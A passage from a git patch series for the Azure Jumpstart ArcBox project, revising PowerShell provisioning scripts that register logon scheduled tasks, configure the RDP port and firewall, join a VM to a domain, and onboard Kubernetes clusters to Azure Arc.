$Env:ArcBoxLogsDir\Bootstrap.log $ErrorActionPreference = 'SilentlyContinue' -if ([bool]$vmAutologon){ +if ([bool]$vmAutologon) { Write-Host "Configuring VM Autologon" @@ -273,28 +273,27 @@ New-Item -path alias:azdata -value 'C:\Program Files (x86)\Microsoft SDKs\Azdata # Disable Microsoft Edge sidebar $RegistryPath = 'HKLM:\SOFTWARE\Policies\Microsoft\Edge' -$Name = 'HubsSidebarEnabled' -$Value = '00000000' +$Name = 'HubsSidebarEnabled' +$Value = '00000000' # Create the key if it does not exist If (-NOT (Test-Path $RegistryPath)) { - New-Item -Path $RegistryPath -Force | Out-Null + New-Item -Path $RegistryPath -Force | Out-Null } New-ItemProperty -Path $RegistryPath -Name $Name -Value $Value -PropertyType DWORD -Force # Disable Microsoft Edge first-run Welcome screen $RegistryPath = 'HKLM:\SOFTWARE\Policies\Microsoft\Edge' -$Name = 'HideFirstRunExperience' -$Value = '00000001' +$Name = 'HideFirstRunExperience' +$Value = '00000001' # Create the key if it does not exist If (-NOT (Test-Path $RegistryPath)) { - New-Item -Path $RegistryPath -Force | Out-Null + New-Item -Path $RegistryPath -Force | Out-Null } New-ItemProperty -Path $RegistryPath -Name $Name -Value $Value -PropertyType DWORD -Force # Change RDP Port Write-Host "RDP port number from configuration is $rdpPort" -if (($rdpPort -ne $null) -and ($rdpPort -ne "") -and ($rdpPort -ne "3389")) -{ +if (($rdpPort -ne $null) -and ($rdpPort -ne "") -and ($rdpPort -ne "3389")) { Write-Host "Configuring RDP port number to $rdpPort" $TSPath = 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server' $RDPTCPpath = $TSPath + '\Winstations\RDP-Tcp' @@ -303,22 +302,19 @@ if (($rdpPort -ne $null) -and ($rdpPort -ne "") -and ($rdpPort -ne "3389")) # RDP port $portNumber = (Get-ItemProperty -Path $RDPTCPpath -Name 'PortNumber').PortNumber Write-Host "Current RDP PortNumber: $portNumber" - if (!($portNumber -eq $rdpPort)) - { - Write-Host Setting RDP PortNumber to $rdpPort - Set-ItemProperty -Path $RDPTCPpath -name 'PortNumber' -Value $rdpPort - Restart-Service TermService -force + if (!($portNumber -eq $rdpPort)) { + Write-Host Setting RDP PortNumber to $rdpPort + Set-ItemProperty -Path $RDPTCPpath -name 'PortNumber' -Value $rdpPort + Restart-Service TermService -force } #Setup firewall rules - if ($rdpPort -eq 3389) - { - netsh advfirewall firewall set rule group="remote desktop" new Enable=Yes + if ($rdpPort -eq 3389) { + netsh advfirewall firewall set rule group="remote desktop" new Enable=Yes } - else - { - $systemroot = get-content env:systemroot - netsh advfirewall firewall add rule name="Remote Desktop - Custom Port" dir=in program=$systemroot\system32\svchost.exe service=termservice action=allow protocol=TCP localport=$RDPPort enable=yes + else { + $systemroot = get-content env:systemroot + netsh advfirewall firewall add rule name="Remote Desktop - Custom Port" dir=in program=$systemroot\system32\svchost.exe service=termservice action=allow protocol=TCP localport=$RDPPort enable=yes } Write-Host "RDP port configuration complete." @@ -328,7 +324,12 @@ Write-Header "Configuring Logon Scripts" $ScheduledTaskExecutable = "pwsh.exe" + if ($flavor -eq "Full" -Or $flavor -eq "ITPro") { + # Creating scheduled task for WinGet.ps1 + $Trigger = New-ScheduledTaskTrigger -AtLogOn + $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument $Env:ArcBoxDir\WinGet.ps1 + Register-ScheduledTask -TaskName "WinGetLogonScript" -Trigger $Trigger -User $adminUsername -Action $Action -RunLevel "Highest" -Force # Creating scheduled task for ArcServersLogonScript.ps1 $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument $Env:ArcBoxDir\ArcServersLogonScript.ps1 Register-ScheduledTask -TaskName "ArcServersLogonScript" -User $adminUsername -Action $Action -RunLevel "Highest" -Force @@ -336,16 +337,22 @@ if ($flavor -eq "Full" -Or $flavor -eq "ITPro") { } if ($flavor -eq "Full") { + # Creating scheduled task for WinGet.ps1 + $Trigger = New-ScheduledTaskTrigger -AtLogOn + $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument $Env:ArcBoxDir\WinGet.ps1 + Register-ScheduledTask -TaskName "WinGetLogonScript" -Trigger $Trigger -User $adminUsername -Action $Action -RunLevel "Highest" -Force # Creating scheduled task for DataServicesLogonScript.ps1 - $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument $Env:ArcBoxDir\DataServicesLogonScript.ps1 Register-ScheduledTask -TaskName "DataServicesLogonScript" -User $adminUsername -Action $Action -RunLevel "Highest" -Force } if ($flavor -eq "DevOps") { + # Creating scheduled task for WinGet.ps1 + $Trigger = New-ScheduledTaskTrigger -AtLogOn + $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument $Env:ArcBoxDir\WinGet.ps1 + Register-ScheduledTask -TaskName "WinGetLogonScript" -Trigger $Trigger -User $adminUsername -Action $Action -RunLevel "Highest" -Force # Creating scheduled task for DevOpsLogonScript.ps1 - $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument $Env:ArcBoxDir\DevOpsLogonScript.ps1 Register-ScheduledTask -TaskName "DevOpsLogonScript" -User $adminUsername -Action $Action -RunLevel "Highest" -Force From dd05aba9316d66b3a3ecfab07373628bb5977658 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Tue, 2 Jan 2024 13:26:41 +0200 Subject: [PATCH 055/506] Fix WinGetLogonScript task user in Bootstrap.ps1 --- azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index 5f4b8e678c..6e477b1e85 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -363,6 +363,7 @@ if ($flavor -eq "DataOps") { # Joining ClientVM to AD DS domain $netbiosname = $Env:addsDomainName.Split(".")[0] $computername = $env:COMPUTERNAME + $winGetLogonUser = "$netbiosname\$adminUsername" $domainCred = New-Object pscredential -ArgumentList ([pscustomobject]@{ UserName = "${netbiosname}\${adminUsername}" @@ -386,7 +387,7 @@ if ($flavor -eq "DataOps") { # Creating scheduled task for WinGet.ps1 $Trigger = New-ScheduledTaskTrigger -AtLogOn $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument $Env:ArcBoxDir\WinGet.ps1 - Register-ScheduledTask -TaskName "WinGetLogonScript" -Trigger $Trigger -User $adminUsername -Action $Action -RunLevel "Highest" -Force + Register-ScheduledTask -TaskName "WinGetLogonScript" -Trigger $Trigger -User $winGetLogonUser -Action $Action -RunLevel "Highest" -Force Write-Host "Joining client VM to domain" Add-Computer -DomainName $addsDomainName -LocalCredential $localCred -Credential $domainCred From 895f1d1fc9674d84e9723252879063da64c50fac Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Tue, 2 Jan 2024 14:02:03 +0200 Subject: [PATCH 056/506] Register scheduled tasks for logon scripts --- .../artifacts/RunAfterClientVMADJoin.ps1 | 15 +++++++++------ 1 file changed, 9 insertions(+), 6 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 b/azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 index 2a0a0d9b9a..81c0cb3334 100644 --- a/azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 +++ b/azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 @@ -33,16 +33,19 @@ $WorkbookAction = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument "$Env:Ar $nestedSQLAction = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument "$Env:ArcBoxDir\ArcServersLogonScript.ps1" # Register schedule task under local account -Register-ScheduledTask -TaskName "DataOpsLogonScript" -Trigger $Trigger -Action $Action -RunLevel "Highest" -CimSession $cimsession -Force -Write-Host "Registered scheduled task 'DataOpsLogonScript' to run at user logon." +Register-ScheduledTask -TaskName "DataOpsLogonScript" -Action $Action -RunLevel "Highest" -CimSession $cimsession -Force +Get-ScheduledTask "DataOpsLogonScript" | Start-ScheduledTask +Write-Host "Registered scheduled task 'DataOpsLogonScript'." # Creating scheduled task for MonitorWorkbookLogonScript.ps1 -Register-ScheduledTask -TaskName "MonitorWorkbookLogonScript" -Trigger $Trigger -Action $WorkbookAction -RunLevel "Highest" -CimSession $cimsession -Force -Write-Host "Registered scheduled task 'MonitorWorkbookLogonScript' to run at user logon." +Register-ScheduledTask -TaskName "MonitorWorkbookLogonScript" -Action $WorkbookAction -RunLevel "Highest" -CimSession $cimsession -Force +Get-ScheduledTask "MonitorWorkbookLogonScript" | Start-ScheduledTask +Write-Host "Registered scheduled task 'MonitorWorkbookLogonScript'." # Creating scheduled task for ArcServersLogonScript.ps1 -Register-ScheduledTask -TaskName "ArcServersLogonScript" -Trigger $Trigger -Action $nestedSQLAction -RunLevel "Highest" -CimSession $cimsession -Force -Write-Host "Registered scheduled task 'ArcServersLogonScript' to run at user logon." +Register-ScheduledTask -TaskName "ArcServersLogonScript" -Action $nestedSQLAction -RunLevel "Highest" -CimSession $cimsession -Force +Get-ScheduledTask "ArcServersLogonScript" | Start-ScheduledTask +Write-Host "Registered scheduled task 'ArcServersLogonScript'." #Disable local account $account=(Get-LocalGroupMember -Group "Administrators" | Where-Object {$_.PrincipalSource -eq "Local"}).name.split('\')[1] From 3650891330e3b012df07c958902543893a159fe4 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Tue, 2 Jan 2024 14:04:40 +0200 Subject: [PATCH 057/506] Fix variable interpolation in Bootstrap.ps1 --- azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index 6e477b1e85..1b3eddf663 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -363,7 +363,7 @@ if ($flavor -eq "DataOps") { # Joining ClientVM to AD DS domain $netbiosname = $Env:addsDomainName.Split(".")[0] $computername = $env:COMPUTERNAME - $winGetLogonUser = "$netbiosname\$adminUsername" + $winGetLogonUser = "${netbiosname}\${adminUsername}" $domainCred = New-Object pscredential -ArgumentList ([pscustomobject]@{ UserName = "${netbiosname}\${adminUsername}" From 154162b241f6d208488a34c75d9ed75e78f2089a Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Tue, 2 Jan 2024 14:25:02 +0200 Subject: [PATCH 058/506] Fix indentation in WinGet.ps1 --- azure_jumpstart_arcbox/artifacts/WinGet.ps1 | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/WinGet.ps1 b/azure_jumpstart_arcbox/artifacts/WinGet.ps1 index 826d80cf8d..a7192734e5 100644 --- a/azure_jumpstart_arcbox/artifacts/WinGet.ps1 +++ b/azure_jumpstart_arcbox/artifacts/WinGet.ps1 @@ -37,9 +37,10 @@ switch ($env:flavor) { } # Start remaining logon scripts -if($env:flavor -eq 'DataOps') { +if ($env:flavor -eq 'DataOps') { Get-ScheduledTask RunAfterClientVMADJoin | Start-ScheduledTask -}else{ +} +else { Get-ScheduledTask *LogonScript* | Start-ScheduledTask } From bb2526de6a1de32197b8ae6a234013c4a6742f64 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Tue, 2 Jan 2024 14:27:45 +0200 Subject: [PATCH 059/506] Add scheduled task for logon scripts and disable local account --- azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 b/azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 index 81c0cb3334..126845386b 100644 --- a/azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 +++ b/azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 @@ -34,19 +34,19 @@ $nestedSQLAction = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument "$Env:A # Register schedule task under local account Register-ScheduledTask -TaskName "DataOpsLogonScript" -Action $Action -RunLevel "Highest" -CimSession $cimsession -Force -Get-ScheduledTask "DataOpsLogonScript" | Start-ScheduledTask Write-Host "Registered scheduled task 'DataOpsLogonScript'." # Creating scheduled task for MonitorWorkbookLogonScript.ps1 Register-ScheduledTask -TaskName "MonitorWorkbookLogonScript" -Action $WorkbookAction -RunLevel "Highest" -CimSession $cimsession -Force -Get-ScheduledTask "MonitorWorkbookLogonScript" | Start-ScheduledTask Write-Host "Registered scheduled task 'MonitorWorkbookLogonScript'." # Creating scheduled task for ArcServersLogonScript.ps1 Register-ScheduledTask -TaskName "ArcServersLogonScript" -Action $nestedSQLAction -RunLevel "Highest" -CimSession $cimsession -Force -Get-ScheduledTask "ArcServersLogonScript" | Start-ScheduledTask Write-Host "Registered scheduled task 'ArcServersLogonScript'." +# Starting logon scripts +Get-ScheduledTask *LogonScript* | Start-ScheduledTask + #Disable local account $account=(Get-LocalGroupMember -Group "Administrators" | Where-Object {$_.PrincipalSource -eq "Local"}).name.split('\')[1] net user $account /active:no From e898d887e0830485887668428c4db3ab674ee2b0 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Tue, 2 Jan 2024 14:32:55 +0200 Subject: [PATCH 060/506] Commented out the creation of a scheduled task for DataServicesLogonScript.ps1 --- azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 b/azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 index 126845386b..bf9a6efef9 100644 --- a/azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 +++ b/azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 @@ -27,7 +27,7 @@ Write-Host "====================================================" $cimsession = New-CimSession -Credential $adminCredential # Creating scheduled task for DataServicesLogonScript.ps1 -$Trigger = New-ScheduledTaskTrigger -AtLogOn -User $adminuser +#$Trigger = New-ScheduledTaskTrigger -AtLogOn -User $adminuser $Action = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument "$Env:ArcBoxDir\DataOpsLogonScript.ps1" $WorkbookAction = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument "$Env:ArcBoxDir\MonitorWorkbookLogonScript.ps1" $nestedSQLAction = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument "$Env:ArcBoxDir\ArcServersLogonScript.ps1" From a768ae5bd99e20a7f9d6632dfbf110bbd74b46f1 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Tue, 2 Jan 2024 14:37:46 +0200 Subject: [PATCH 061/506] Fix WinGetLogonScript task user in Bootstrap.ps1 --- azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index 1b3eddf663..5f4b8e678c 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -363,7 +363,6 @@ if ($flavor -eq "DataOps") { # Joining ClientVM to AD DS domain $netbiosname = $Env:addsDomainName.Split(".")[0] $computername = $env:COMPUTERNAME - $winGetLogonUser = "${netbiosname}\${adminUsername}" $domainCred = New-Object pscredential -ArgumentList ([pscustomobject]@{ UserName = "${netbiosname}\${adminUsername}" @@ -387,7 +386,7 @@ if ($flavor -eq "DataOps") { # Creating scheduled task for WinGet.ps1 $Trigger = New-ScheduledTaskTrigger -AtLogOn $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument $Env:ArcBoxDir\WinGet.ps1 - Register-ScheduledTask -TaskName "WinGetLogonScript" -Trigger $Trigger -User $winGetLogonUser -Action $Action -RunLevel "Highest" -Force + Register-ScheduledTask -TaskName "WinGetLogonScript" -Trigger $Trigger -User $adminUsername -Action $Action -RunLevel "Highest" -Force Write-Host "Joining client VM to domain" Add-Computer -DomainName $addsDomainName -LocalCredential $localCred -Credential $domainCred From cb341ee33c64abba11dbe9bd293ff24db342bc59 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Wed, 3 Jan 2024 13:05:09 +0200 Subject: [PATCH 062/506] Fix scheduled task execution in Bootstrap.ps1 and RunAfterClientVMADJoin.ps1 --- azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 | 11 +++++------ .../artifacts/RunAfterClientVMADJoin.ps1 | 3 --- azure_jumpstart_arcbox/artifacts/WinGet.ps1 | 7 +------ 3 files changed, 6 insertions(+), 15 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index 5f4b8e678c..0178fe13e6 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -363,6 +363,7 @@ if ($flavor -eq "DataOps") { # Joining ClientVM to AD DS domain $netbiosname = $Env:addsDomainName.Split(".")[0] $computername = $env:COMPUTERNAME + $domainUserName = "${netbiosname}\${adminUsername}" $domainCred = New-Object pscredential -ArgumentList ([pscustomobject]@{ UserName = "${netbiosname}\${adminUsername}" @@ -374,19 +375,17 @@ if ($flavor -eq "DataOps") { Password = (ConvertTo-SecureString -String $adminPassword -AsPlainText -Force)[0] }) - # Creating scheduled task for DataOpsLogonScript.ps1 # Register schedule task to run after system reboot # schedule task to run after reboot to create reverse DNS lookup - - $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument "$Env:ArcBoxDir\RunAfterClientVMADJoin.ps1" - Register-ScheduledTask -TaskName "RunAfterClientVMADJoin" -User SYSTEM -Action $Action -RunLevel "Highest" -Force + $Trigger = New-ScheduledTaskTrigger -AtStartup + $Action = New-ScheduledTaskAction -Execute "PowerShell.exe" -Argument "$Env:ArcBoxDir\RunAfterClientVMADJoin.ps1" + Register-ScheduledTask -TaskName "RunAfterClientVMADJoin" -Trigger $Trigger -User SYSTEM -Action $Action -RunLevel "Highest" -Force Write-Host "Registered scheduled task 'RunAfterClientVMADJoin' to run after Client VM AD join." - Write-Host "`n" # Creating scheduled task for WinGet.ps1 $Trigger = New-ScheduledTaskTrigger -AtLogOn $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument $Env:ArcBoxDir\WinGet.ps1 - Register-ScheduledTask -TaskName "WinGetLogonScript" -Trigger $Trigger -User $adminUsername -Action $Action -RunLevel "Highest" -Force + Register-ScheduledTask -TaskName "WinGetLogonScript" -Trigger $Trigger -User $domainUserName -Action $Action -RunLevel "Highest" -Force Write-Host "Joining client VM to domain" Add-Computer -DomainName $addsDomainName -LocalCredential $localCred -Credential $domainCred diff --git a/azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 b/azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 index bf9a6efef9..017bab7a51 100644 --- a/azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 +++ b/azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 @@ -44,9 +44,6 @@ Write-Host "Registered scheduled task 'MonitorWorkbookLogonScript'." Register-ScheduledTask -TaskName "ArcServersLogonScript" -Action $nestedSQLAction -RunLevel "Highest" -CimSession $cimsession -Force Write-Host "Registered scheduled task 'ArcServersLogonScript'." -# Starting logon scripts -Get-ScheduledTask *LogonScript* | Start-ScheduledTask - #Disable local account $account=(Get-LocalGroupMember -Group "Administrators" | Where-Object {$_.PrincipalSource -eq "Local"}).name.split('\')[1] net user $account /active:no diff --git a/azure_jumpstart_arcbox/artifacts/WinGet.ps1 b/azure_jumpstart_arcbox/artifacts/WinGet.ps1 index a7192734e5..7406f3c4ce 100644 --- a/azure_jumpstart_arcbox/artifacts/WinGet.ps1 +++ b/azure_jumpstart_arcbox/artifacts/WinGet.ps1 @@ -37,12 +37,7 @@ switch ($env:flavor) { } # Start remaining logon scripts -if ($env:flavor -eq 'DataOps') { - Get-ScheduledTask RunAfterClientVMADJoin | Start-ScheduledTask -} -else { - Get-ScheduledTask *LogonScript* | Start-ScheduledTask -} +Get-ScheduledTask *LogonScript* | Start-ScheduledTask #Cleanup Unregister-ScheduledTask -TaskName 'WinGetLogonScript' -Confirm:$false From f8bf7bd7a424c415d5d56bd9d5715639012c6656 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Wed, 3 Jan 2024 13:43:08 +0200 Subject: [PATCH 063/506] Add scheduled task for WinGet.ps1 and remove scheduled task for WinGetLogonScript --- azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 | 5 ----- .../artifacts/RunAfterClientVMADJoin.ps1 | 8 ++++++-- 2 files changed, 6 insertions(+), 7 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index 0178fe13e6..a194b57312 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -382,11 +382,6 @@ if ($flavor -eq "DataOps") { Register-ScheduledTask -TaskName "RunAfterClientVMADJoin" -Trigger $Trigger -User SYSTEM -Action $Action -RunLevel "Highest" -Force Write-Host "Registered scheduled task 'RunAfterClientVMADJoin' to run after Client VM AD join." - # Creating scheduled task for WinGet.ps1 - $Trigger = New-ScheduledTaskTrigger -AtLogOn - $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument $Env:ArcBoxDir\WinGet.ps1 - Register-ScheduledTask -TaskName "WinGetLogonScript" -Trigger $Trigger -User $domainUserName -Action $Action -RunLevel "Highest" -Force - Write-Host "Joining client VM to domain" Add-Computer -DomainName $addsDomainName -LocalCredential $localCred -Credential $domainCred Write-Host "Joined Client VM to $addsDomainName domain." diff --git a/azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 b/azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 index 017bab7a51..f36443e2a7 100644 --- a/azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 +++ b/azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 @@ -26,8 +26,12 @@ Write-Host "====================================================" # Create login session with domain credentials $cimsession = New-CimSession -Credential $adminCredential -# Creating scheduled task for DataServicesLogonScript.ps1 -#$Trigger = New-ScheduledTaskTrigger -AtLogOn -User $adminuser +# Creating scheduled task for WinGet.ps1 +$Trigger = New-ScheduledTaskTrigger -AtLogOn +$Action = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument $Env:ArcBoxDir\WinGet.ps1 +Register-ScheduledTask -TaskName "WinGetLogonScript" -Trigger $Trigger -CimSession $cimsession -Action $Action -RunLevel "Highest" -Force + +# Creating scheduled task for DataOpsLogonScript.ps1 $Action = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument "$Env:ArcBoxDir\DataOpsLogonScript.ps1" $WorkbookAction = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument "$Env:ArcBoxDir\MonitorWorkbookLogonScript.ps1" $nestedSQLAction = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument "$Env:ArcBoxDir\ArcServersLogonScript.ps1" From c350b450b519b228e92d73341c7bd000d6707580 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Wed, 3 Jan 2024 14:38:29 +0200 Subject: [PATCH 064/506] Update cluster onboarding script parallelism --- azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 index c30ec246ec..ec7eb1f7b0 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 @@ -145,7 +145,7 @@ kubectx capi="arcbox-capi" Start-Sleep -Seconds 10 Write-Header "Onboarding clusters as an Azure Arc-enabled Kubernetes cluster" -$clusters | Foreach-Object -ThrottleLimit 5 -Parallel { +$clusters | Foreach-Object -ThrottleLimit 1 -Parallel { $cluster = $_ $clusterName = $cluster.clusterName if ($cluster.context -ne 'capi') { From ac77864f2142185c41abd307a6864160eb2b857e Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Wed, 3 Jan 2024 18:29:31 +0200 Subject: [PATCH 065/506] Refactor cluster onboarding and enable Container Insights --- .../artifacts/DataOpsLogonScript.ps1 | 11 ++++------- 1 file changed, 4 insertions(+), 7 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 index ec7eb1f7b0..aab6513e24 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 @@ -145,14 +145,11 @@ kubectx capi="arcbox-capi" Start-Sleep -Seconds 10 Write-Header "Onboarding clusters as an Azure Arc-enabled Kubernetes cluster" -$clusters | Foreach-Object -ThrottleLimit 1 -Parallel { - $cluster = $_ - $clusterName = $cluster.clusterName +foreach ($cluster in $clusters) { if ($cluster.context -ne 'capi') { - Write-Host "Checking K8s Nodes on $clusterName" + Write-Host "Checking K8s Nodes" kubectl get nodes --kubeconfig $cluster.kubeConfig Write-Host "`n" - Write-Host "Onboarding $clusterName as an Azure Arc-enabled Kubernetes cluster" az connectedk8s connect --name $cluster.clusterName ` --resource-group $Env:resourceGroup ` --location $Env:azureLocation ` @@ -163,8 +160,8 @@ $clusters | Foreach-Object -ThrottleLimit 1 -Parallel { # Enabling Container Insights and Azure Policy cluster extension on Arc-enabled cluster Write-Host "`n" - Write-Host "Enabling Container Insights cluster extension on $clusterName" - az k8s-extension create --name "azuremonitor-containers" --cluster-name $clusterName --resource-group $Env:resourceGroup --cluster-type connectedClusters --extension-type Microsoft.AzureMonitor.Containers --configuration-settings logAnalyticsWorkspaceResourceID=$workspaceId + Write-Host "Enabling Container Insights cluster extension" + az k8s-extension create --name "azuremonitor-containers" --cluster-name $cluster.clusterName --resource-group $Env:resourceGroup --cluster-type connectedClusters --extension-type Microsoft.AzureMonitor.Containers --configuration-settings logAnalyticsWorkspaceResourceID=$workspaceId Write-Host "`n" } } From 7a622b362db7dab2d6bce6afb5350c819d5eb782 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Wed, 3 Jan 2024 19:04:38 +0200 Subject: [PATCH 066/506] Remove unused variable in Bootstrap.ps1 --- azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 | 1 - 1 file changed, 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index a194b57312..2b57d2ba12 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -363,7 +363,6 @@ if ($flavor -eq "DataOps") { # Joining ClientVM to AD DS domain $netbiosname = $Env:addsDomainName.Split(".")[0] $computername = $env:COMPUTERNAME - $domainUserName = "${netbiosname}\${adminUsername}" $domainCred = New-Object pscredential -ArgumentList ([pscustomobject]@{ UserName = "${netbiosname}\${adminUsername}" From f960fe6d5b39ac3274d714d8114b731430ea727a Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Wed, 3 Jan 2024 19:40:09 +0200 Subject: [PATCH 067/506] Update githubBranch parameter value in main.bicep --- azure_jumpstart_arcbox/bicep/main.bicep | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/bicep/main.bicep b/azure_jumpstart_arcbox/bicep/main.bicep index 7e4540db6a..5287d63ee8 100644 --- a/azure_jumpstart_arcbox/bicep/main.bicep +++ b/azure_jumpstart_arcbox/bicep/main.bicep @@ -43,7 +43,7 @@ param flavor string = 'Full' param githubAccount string = 'microsoft' @description('Target GitHub branch') -param githubBranch string = 'main' +param githubBranch string = 'arcbox_3.0' @description('Choice to deploy Bastion to connect to the client VM') param deployBastion bool = false From f8a3f20f263e6e9601963cba6ca05d59df6fbc81 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Mon, 8 Jan 2024 08:44:13 +0200 Subject: [PATCH 068/506] Update PowerShell version to latest release --- azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 | 1 - 1 file changed, 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 